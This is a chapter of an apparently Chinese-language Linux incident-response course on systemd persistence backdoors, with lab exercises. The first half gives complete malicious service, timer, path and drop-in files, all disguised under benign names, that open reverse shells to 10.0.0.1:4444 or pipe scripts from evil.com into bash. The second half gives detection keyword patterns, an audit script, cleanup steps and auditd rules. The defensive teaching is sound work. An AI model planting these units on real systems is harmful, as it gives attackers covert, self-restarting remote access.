1. 1. Systemd Service 后门
    1. 1.1. 概述
    2. 1.2. 1. Systemd Service 后门
      1. 1.2.1. 1.1 基本概念
      2. 1.2.2. 1.2 恶意 Service 文件示例
        1. 1.2.2.1. 示例 1:直接反弹 Shell
        2. 1.2.2.2. 示例 2:下载执行远程 Payload
        3. 1.2.2.3. 示例 3:执行隐藏的恶意脚本
        4. 1.2.2.4. 示例 4:覆盖合法服务
      3. 1.2.3. 1.3 隐蔽技巧
        1. 1.2.3.1. 使用正常名字伪装
        2. 1.2.3.2. Restart=always 自动恢复
        3. 1.2.3.3. 隐藏输出
        4. 1.2.3.4. 延迟启动
        5. 1.2.3.5. 使用 ExecStartPost 注入
      4. 1.2.4. 1.4 用户级 Service(无需 root)
        1. 1.2.4.1. 攻击原理
        2. 1.2.4.2. 示例
        3. 1.2.4.3. 检测
    3. 1.3. 2. Systemd Timer 后门
      1. 1.3.1. 2.1 Timer 基本概念
      2. 1.3.2. 2.2 Timer + Service 配对示例
        1. 1.3.2.1. 恶意 Timer 文件
        2. 1.3.2.2. 配对的 Service 文件
        3. 1.3.2.3. 启用
      3. 1.3.3. 2.3 常见的 Timer 触发方式
        1. 1.3.3.1. OnCalendar 时间格式
      4. 1.3.4. 2.4 隐蔽的 Timer 后门示例
    4. 1.4. 3. Systemd Path 后门
      1. 1.4.1. 3.1 Path 基本概念
      2. 1.4.2. 3.2 攻击场景
        1. 1.4.2.1. 场景 1:监控文件写入触发后门
        2. 1.4.2.2. 场景 2:等待触发文件出现
        3. 1.4.2.3. 场景 3:监控 Web 目录实现持久化
      3. 1.4.3. 3.3 Path 后门的特点
    5. 1.5. 4. 检测方法
      1. 1.5.1. 4.1 列出所有自定义单元文件
      2. 1.5.2. 4.2 与包管理器对比
      3. 1.5.3. 4.3 按修改时间筛选
      4. 1.5.4. 4.4 检查 ExecStart 中的可疑命令
      5. 1.5.5. 4.5 检查 Timer 列表
      6. 1.5.6. 4.6 检查 Path 单元
      7. 1.5.7. 4.7 检查用户级 Systemd 单元
      8. 1.5.8. 4.8 综合检测脚本
    6. 1.6. 5. 清除与加固
      1. 1.6.1. 5.1 清除步骤
      2. 1.6.2. 5.2 加固措施
    7. 1.7. 6. 配套实验
      1. 1.7.1. 实验环境
      2. 1.7.2. 实验内容
      3. 1.7.3. 参考链接

Linux应急响应 - 17 Systemd-Service后门

Systemd Service 后门

id:: systemd-backdoor-17

概述

Systemd 是现代 Linux 发行版的标准 init 系统,管理服务、定时器、路径监控等

攻击者利用 Systemd 实现持久化的三种方式:

Service 后门 — 创建恶意服务单元,开机自启或手动触发

Timer 后门 — 定时触发恶意服务,功能类似 crontab 但更隐蔽

Path 后门 — 监控文件/目录变化触发恶意服务

Systemd 后门的优势(攻击者视角):

比 crontab 更隐蔽(很多应急响应人员只查 crontab 不查 systemd)

支持自动重启(Restart=always),被杀后自动恢复

支持用户级单元,不需要 root 权限

日志可控(可通过 StandardOutput=null 隐藏输出)

关于服务与启动项常规审计,参见 08-服务与启动项审计

1. Systemd Service 后门

1.1 基本概念

Systemd Service 单元文件定义了服务的启动方式、依赖关系和行为

单元文件的存放位置及优先级(从高到低):

路径 说明 优先级
/etc/systemd/system/ 系统管理员自定义(最高优先级) 1
/run/systemd/system/ 运行时动态生成 2
/usr/lib/systemd/system/ 包管理器安装的服务 3
/usr/local/lib/systemd/system/ 本地安装的服务 4
~/.config/systemd/user/ 用户级服务(不需要 root) 用户级

高优先级路径中的同名文件会覆盖低优先级的,攻击者可利用此特性

1.2 恶意 Service 文件示例

示例 1:直接反弹 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
# /etc/systemd/system/system-update.service
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

启用并启动:

1
2
3
systemctl daemon-reload
systemctl enable system-update.service
systemctl start system-update.service

示例 2:下载执行远程 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /etc/systemd/system/security-check.service
[Unit]
Description=Security Compliance Check
After=network-online.target
Wants=network-online.target

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/payload.sh | bash'
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target

示例 3:执行隐藏的恶意脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /etc/systemd/system/log-collector.service
[Unit]
Description=System Log Collector
After=syslog.target

[Service]
Type=forking
ExecStart=/usr/local/sbin/.log-collector.sh
PIDFile=/var/run/log-collector.pid
Restart=on-failure
RestartSec=30

[Install]
WantedBy=multi-user.target

对应的恶意脚本:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
# /usr/local/sbin/.log-collector.sh
# 看起来像日志收集脚本

echo $$ > /var/run/log-collector.pid

while true; do
# 反弹 shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>/dev/null
sleep 300
done &

示例 4:覆盖合法服务

1
2
3
4
5
6
7
8
9
10
# 在 /etc/systemd/system/ 中创建与合法服务同名的文件
# 覆盖 /usr/lib/systemd/system/systemd-tmpfiles-clean.service

# /etc/systemd/system/systemd-tmpfiles-clean.service
[Unit]
Description=Cleanup of Temporary Directories

[Service]
Type=oneshot
ExecStart=/bin/bash -c '/usr/bin/systemd-tmpfiles --clean; curl -fsSL http://evil.com/p.sh | bash'

由于 /etc/systemd/system/ 优先级高于 /usr/lib/systemd/system/,恶意版本会覆盖原始服务

1.3 隐蔽技巧

使用正常名字伪装

常见伪装名:

system-update.service

security-check.service

log-collector.service

network-monitor.service

tmpfile-clean.service

dbus-helper.service

systemd-resolved-update.service

Restart=always 自动恢复

1
2
3
4
[Service]
Restart=always
RestartSec=60 # 60 秒后重启
StartLimitBurst=0 # 不限制重启次数

隐藏输出

1
2
3
4
5
6
[Service]
StandardOutput=null
StandardError=null
# 或重定向到文件
StandardOutput=append:/var/log/syslog
StandardError=append:/var/log/syslog

延迟启动

1
2
3
[Service]
ExecStartPre=/bin/sleep 120 # 启动前等待 120 秒
ExecStart=/path/to/backdoor

使用 ExecStartPost 注入

1
2
3
4
5
6
7
# 在合法服务的配置目录中添加覆盖文件
mkdir -p /etc/systemd/system/nginx.service.d/
cat > /etc/systemd/system/nginx.service.d/override.conf << 'EOF'
[Service]
ExecStartPost=/bin/bash -c 'nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &'
EOF
systemctl daemon-reload

这种方式不修改原始 service 文件,而是通过 drop-in 目录注入

1.4 用户级 Service(无需 root)

攻击原理

普通用户可以在 ~/.config/systemd/user/ 创建自己的 service 单元

不需要 root 权限,不需要 systemctl daemon-reload(用户级)

通过 loginctl enable-linger <user> 可以让服务在用户未登录时也运行

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 创建用户级服务目录
mkdir -p ~/.config/systemd/user/

# 创建恶意用户级服务
cat > ~/.config/systemd/user/update-notifier.service << 'EOF'
[Unit]
Description=Update Notifier

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 300; done'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target
EOF

# 启用(用户级,不需要 sudo)
systemctl --user daemon-reload
systemctl --user enable update-notifier.service
systemctl --user start update-notifier.service

# 如果攻击者有 root 权限,可以为该用户启用 linger
loginctl enable-linger <username>

检测

1
2
3
4
5
6
7
8
9
10
11
12
# 检查所有用户的 systemd user 目录
for home in /root /home/*; do
dir="$home/.config/systemd/user/"
if [ -d "$dir" ]; then
echo "=== $dir ==="
ls -la "$dir"
cat "$dir"/*.service 2>/dev/null
fi
done

# 检查 linger 状态
ls /var/lib/systemd/linger/ 2>/dev/null

2. Systemd Timer 后门

2.1 Timer 基本概念

Systemd Timer 是 crontab 的替代方案,功能更强大

Timer 单元(.timer)和 Service 单元(.service)配对使用

Timer 触发时会自动启动同名的 Service

为什么比 crontab 更隐蔽

很多应急响应人员只检查 crontab,不检查 systemd timer

timer 的日志混在 systemd journal 中,不像 cron 有单独日志

可以精确控制触发条件(系统启动后、上次执行后等)

2.2 Timer + Service 配对示例

恶意 Timer 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# /etc/systemd/system/security-scan.timer
[Unit]
Description=Security Scan Timer

[Timer]
# 每 5 分钟执行一次
OnCalendar=*:0/5
# 系统启动后 2 分钟开始
OnBootSec=2min
# 持久化:即使错过了执行时间也会补执行
Persistent=true
# 随机延迟,避免精确时间特征
RandomizedDelaySec=30

[Install]
WantedBy=timers.target

配对的 Service 文件

1
2
3
4
5
6
7
8
9
# /etc/systemd/system/security-scan.service
[Unit]
Description=Security Scan Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/beacon.sh | bash'
StandardOutput=null
StandardError=null

启用

1
2
3
systemctl daemon-reload
systemctl enable security-scan.timer
systemctl start security-scan.timer

2.3 常见的 Timer 触发方式

配置项 说明 示例
OnCalendar 类似 crontab 的日历时间 *:0/5(每5分钟)、dailyweekly
OnBootSec 系统启动后 5min(启动后5分钟)
OnUnitActiveSec 上次执行后 1h(上次执行后1小时)
OnStartupSec systemd 启动后 10min
Persistent 错过的执行是否补执行 true
RandomizedDelaySec 随机延迟 30s(增加检测难度)

OnCalendar 时间格式

1
2
3
4
5
OnCalendar=*-*-* *:0/5:00    # 每5分钟
OnCalendar=*-*-* 02:00:00 # 每天凌晨2点
OnCalendar=Mon *-*-* 00:00:00 # 每周一午夜
OnCalendar=daily # 每天
OnCalendar=hourly # 每小时

2.4 隐蔽的 Timer 后门示例

1
2
3
4
5
6
7
8
9
10
11
12
# 伪装为系统日志清理任务
# /etc/systemd/system/journal-cleanup.timer
[Unit]
Description=Journal Cleanup Timer

[Timer]
OnCalendar=*:0/30
Persistent=true
RandomizedDelaySec=120

[Install]
WantedBy=timers.target
1
2
3
4
5
6
7
8
9
# /etc/systemd/system/journal-cleanup.service
[Unit]
Description=Journal Cleanup Service

[Service]
Type=oneshot
ExecStart=/usr/local/sbin/.journal-gc.sh
StandardOutput=null
StandardError=null
1
2
3
4
5
6
7
# /usr/local/sbin/.journal-gc.sh
#!/bin/bash
# 先执行正常操作(掩护)
/usr/bin/journalctl --vacuum-time=30d 2>/dev/null

# 然后执行恶意操作
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null

3. Systemd Path 后门

3.1 Path 基本概念

Systemd Path 单元可以监控文件或目录的变化,当条件满足时触发关联的 Service

三种监控模式:

配置项 触发条件
PathExists= 指定路径出现时触发(文件/目录被创建)
PathChanged= 文件被关闭写入后触发(文件被修改并保存)
PathModified= 文件被写入时触发(即使尚未关闭)
DirectoryNotEmpty= 目录非空时触发

3.2 攻击场景

场景 1:监控文件写入触发后门

1
2
3
4
5
6
7
8
9
10
# /etc/systemd/system/config-watch.path
[Unit]
Description=Configuration File Watcher

[Path]
# 当 /etc/passwd 被修改时触发(有人添加了新用户)
PathChanged=/etc/passwd

[Install]
WantedBy=multi-user.target
1
2
3
4
5
6
7
# /etc/systemd/system/config-watch.service
[Unit]
Description=Configuration Update Handler

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -fsSL http://evil.com/notify.sh | bash'

场景 2:等待触发文件出现

1
2
3
4
5
6
7
8
9
10
# /etc/systemd/system/update-trigger.path
[Unit]
Description=Update Trigger Watcher

[Path]
# 当 /tmp/.trigger 文件出现时执行后门
PathExists=/tmp/.trigger

[Install]
WantedBy=multi-user.target
1
2
3
4
5
6
7
# /etc/systemd/system/update-trigger.service
[Unit]
Description=Update Trigger Handler

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; rm /tmp/.trigger'

攻击者需要反弹 shell 时,只需远程创建 /tmp/.trigger 文件即可触发

场景 3:监控 Web 目录实现持久化

1
2
3
4
5
6
7
8
9
10
# /etc/systemd/system/web-deploy.path
[Unit]
Description=Web Application Deploy Watcher

[Path]
# 监控 Web 部署目录
DirectoryNotEmpty=/var/www/html/.deploy/

[Install]
WantedBy=multi-user.target
1
2
3
4
5
6
7
8
# /etc/systemd/system/web-deploy.service
[Unit]
Description=Web Application Deploy Handler

[Service]
Type=oneshot
# 执行部署目录中的脚本(攻击者上传的 webshell 可以写入此目录触发)
ExecStart=/bin/bash -c 'for f in /var/www/html/.deploy/*; do bash "$f"; rm "$f"; done'

3.3 Path 后门的特点

按需触发,平时不产生任何活动,极难检测

可以与其他攻击链配合使用(如 webshell 写入触发文件来激活后门)

日志中只有触发时的记录,不像 timer 有周期性记录

4. 检测方法

4.1 列出所有自定义单元文件

1
2
3
4
5
6
7
8
9
10
11
12
13
# 列出 /etc/systemd/system/ 中的所有单元文件
echo "=== /etc/systemd/system/ ==="
ls -la /etc/systemd/system/*.service 2>/dev/null
ls -la /etc/systemd/system/*.timer 2>/dev/null
ls -la /etc/systemd/system/*.path 2>/dev/null

# 列出 drop-in 覆盖目录
echo "=== Drop-in 覆盖 ==="
find /etc/systemd/system/*.service.d/ -name "*.conf" 2>/dev/null

# 列出运行时生成的单元
echo "=== /run/systemd/system/ ==="
ls -la /run/systemd/system/*.service 2>/dev/null

4.2 与包管理器对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 找出不属于任何包的 service 文件
echo "=== 检查不属于任何包的 service 文件 ==="
for f in /etc/systemd/system/*.service /usr/lib/systemd/system/*.service; do
[ -f "$f" ] || continue
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \
echo "[可疑] 不属于任何包: $f"
done

# 同理检查 timer 和 path
for f in /etc/systemd/system/*.timer /etc/systemd/system/*.path; do
[ -f "$f" ] || continue
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \
echo "[可疑] 不属于任何包: $f"
done

4.3 按修改时间筛选

1
2
3
4
5
6
7
8
9
10
11
12
# 查找比系统安装时间更新的 service/timer/path 文件
find /etc/systemd/system/ /usr/lib/systemd/system/ \
-name "*.service" -o -name "*.timer" -o -name "*.path" 2>/dev/null | \
xargs ls -lt 2>/dev/null | head -30

# 查找最近 7 天修改的文件
find /etc/systemd/system/ -type f -mtime -7 -ls 2>/dev/null

# 查找比 os-release 更新的文件(可能是安装后新增的)
find /etc/systemd/system/ \
\( -name "*.service" -o -name "*.timer" -o -name "*.path" \) \
-newer /etc/os-release -ls 2>/dev/null

4.4 检查 ExecStart 中的可疑命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检查所有 service 文件中的 ExecStart/ExecStartPost/ExecStartPre
echo "=== 检查 ExecStart 中的可疑命令 ==="
KEYWORDS='(dev/tcp|dev/udp|base64|curl.*bash|wget.*bash|nc\s+-e|python.*-c|perl.*-e|ncat|mkfifo|/tmp/|\.sh$)'

for f in /etc/systemd/system/*.service /etc/systemd/system/*/*.conf; do
[ -f "$f" ] || continue
if grep -iE "Exec.*=.*($KEYWORDS)" "$f" 2>/dev/null; then
echo -e "\033[0;31m[!] 可疑: $f\033[0m"
grep -E "^Exec" "$f"
fi
done

# 检查 ExecStart 指向隐藏文件
grep -rn "ExecStart.*\." /etc/systemd/system/ 2>/dev/null | grep "/\."

4.5 检查 Timer 列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 列出所有 timer(包括不活跃的)
systemctl list-timers --all --no-pager

# 检查异常 timer
# 关注:
# - 执行频率异常(过于频繁)
# - 名称可疑
# - NEXT/LAST 时间异常

# 检查 timer 对应的 service 内容
systemctl list-timers --all --no-pager | awk 'NR>1{print $NF}' | \
sed 's/\.timer/.service/' | while read svc; do
unit_file=$(systemctl show "$svc" -p FragmentPath 2>/dev/null | cut -d= -f2)
if [ -n "$unit_file" ] && [ -f "$unit_file" ]; then
echo "--- $svc ($unit_file) ---"
grep "ExecStart" "$unit_file"
fi
done

4.6 检查 Path 单元

1
2
3
4
5
6
7
8
9
# 列出所有 path 单元
systemctl list-units --type=path --all --no-pager

# 检查 path 单元的监控目标
for f in /etc/systemd/system/*.path; do
[ -f "$f" ] || continue
echo "--- $f ---"
grep -E "^Path" "$f"
done

4.7 检查用户级 Systemd 单元

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 检查所有用户的 systemd user 目录
for home in /root /home/*; do
user_dir="$home/.config/systemd/user/"
if [ -d "$user_dir" ]; then
echo "=== $user_dir ==="
ls -la "$user_dir"
for f in "$user_dir"/*.service "$user_dir"/*.timer "$user_dir"/*.path; do
[ -f "$f" ] || continue
echo "--- $f ---"
cat "$f"
done
fi
done

# 检查 linger 用户(可在未登录时运行用户级服务)
echo "=== Linger 用户 ==="
ls /var/lib/systemd/linger/ 2>/dev/null || echo "无 linger 用户"

4.8 综合检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/bin/bash
# systemd_audit.sh - Systemd 后门全面检测

RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
NC='\033[0m'

KEYWORDS='(dev/tcp|dev/udp|base64|curl.*\|.*bash|wget.*\|.*bash|nc\s+-e|python.*-c|perl.*-e|ncat|mkfifo)'

echo "=========================================="
echo " Systemd 后门全面检测"
echo "=========================================="

# 1. 检查不属于包管理器的 service
echo -e "\n${YELLOW}[1] 不属于任何包的 service/timer/path 文件${NC}"
for f in /etc/systemd/system/*.service /etc/systemd/system/*.timer /etc/systemd/system/*.path; do
[ -f "$f" ] || continue
base=$(basename "$f")
# 跳过符号链接(enable 创建的链接)
[ -L "$f" ] && continue
dpkg -S "$f" 2>/dev/null >/dev/null || rpm -qf "$f" 2>/dev/null >/dev/null || \
echo -e "${YELLOW} [?] $f${NC}"
done

# 2. 检查 ExecStart 中的可疑命令
echo -e "\n${YELLOW}[2] ExecStart 中的可疑命令${NC}"
for f in /etc/systemd/system/*.service /etc/systemd/system/*/*.conf \
/run/systemd/system/*.service; do
[ -f "$f" ] || continue
if grep -qiE "Exec.*=.*$KEYWORDS" "$f" 2>/dev/null; then
echo -e "${RED} [!] $f${NC}"
grep -E "^Exec" "$f" | sed 's/^/ /'
fi
done

# 3. 检查 drop-in 覆盖
echo -e "\n${YELLOW}[3] Service drop-in 覆盖文件${NC}"
find /etc/systemd/system/*.service.d/ -name "*.conf" 2>/dev/null | while read f; do
echo " $f"
grep "Exec" "$f" 2>/dev/null | sed 's/^/ /'
done

# 4. 检查所有 timer
echo -e "\n${YELLOW}[4] 所有 Timer 单元${NC}"
systemctl list-timers --all --no-pager 2>/dev/null

# 5. 检查所有 path
echo -e "\n${YELLOW}[5] 所有 Path 单元${NC}"
systemctl list-units --type=path --all --no-pager 2>/dev/null

# 6. 检查用户级 systemd
echo -e "\n${YELLOW}[6] 用户级 Systemd 单元${NC}"
for home in /root /home/*; do
dir="$home/.config/systemd/user/"
[ -d "$dir" ] || continue
echo " 目录: $dir"
ls "$dir" 2>/dev/null | sed 's/^/ /'
done
echo " Linger 用户: $(ls /var/lib/systemd/linger/ 2>/dev/null || echo '无')"

# 7. 最近修改的单元文件
echo -e "\n${YELLOW}[7] 最近 7 天修改的单元文件${NC}"
find /etc/systemd/system/ -type f -mtime -7 2>/dev/null | while read f; do
echo " $f ($(stat -c '%y' "$f" 2>/dev/null || stat -f '%Sm' "$f" 2>/dev/null))"
done

echo -e "\n${GREEN}[完成] Systemd 后门检测完毕${NC}"

5. 清除与加固

5.1 清除步骤

Step 1:备份恶意单元文件用于取证

1
2
cp /etc/systemd/system/malicious.service /tmp/evidence/
cp /etc/systemd/system/malicious.timer /tmp/evidence/

Step 2:停止并禁用恶意服务

1
2
3
4
5
6
7
8
systemctl stop malicious.service
systemctl disable malicious.service
systemctl stop malicious.timer
systemctl disable malicious.timer

# 用户级服务
systemctl --user stop malicious.service
systemctl --user disable malicious.service

Step 3:删除恶意单元文件

1
2
3
4
5
6
7
8
9
rm /etc/systemd/system/malicious.service
rm /etc/systemd/system/malicious.timer
rm /etc/systemd/system/malicious.path

# 删除 drop-in 覆盖
rm -rf /etc/systemd/system/nginx.service.d/override.conf

# 删除用户级单元
rm ~/.config/systemd/user/malicious.service

Step 4:重新加载 systemd 配置

1
2
systemctl daemon-reload
systemctl --user daemon-reload

Step 5:删除恶意脚本

1
2
3
# 根据 ExecStart 中的路径删除
rm /usr/local/sbin/.log-collector.sh
rm /usr/local/sbin/.journal-gc.sh

Step 6:禁用不必要的 linger

1
loginctl disable-linger <username>

5.2 加固措施

使用 AIDE/OSSEC 监控 /etc/systemd/system/ 目录变更

定期执行 systemctl list-unit-files 并与基线对比

限制普通用户创建 systemd user 单元的权限

使用 SELinux/AppArmor 限制 systemd service 的执行范围

监控 systemctl daemon-reloadsystemctl enable 的调用

1
2
3
# auditd 规则
auditctl -w /etc/systemd/system/ -p wa -k systemd_mod
auditctl -w /usr/lib/systemd/system/ -p wa -k systemd_mod

6. 配套实验

实验环境

目录:labs/12-persistence-systemd/

靶机:Ubuntu 22.04 / CentOS 7(需要 systemd)

实验内容

实验 1:创建恶意 systemd service(3种变体:直接反弹、远程下载、隐藏脚本),然后检测

实验 2:创建 timer + service 配对后门,对比 crontab,理解 timer 的隐蔽性

实验 3:创建 path 后门,通过写入触发文件激活,理解按需触发机制

实验 4:创建用户级 service 后门(无需 root),练习用户级单元的检测

实验 5:使用 drop-in 目录注入合法服务,练习覆盖检测

实验 6:运行综合检测脚本,清除所有后门并加固

参考链接

08-服务与启动项审计 — 常规服务审计方法

15-Crontab后门 — Crontab 持久化后门

18-Bashrc与Profile后门 — Shell 启动脚本后门


上一章 目录 下一章
16-SSH-authorized_keys后门 Linux应急响应 18-Bashrc与Profile后门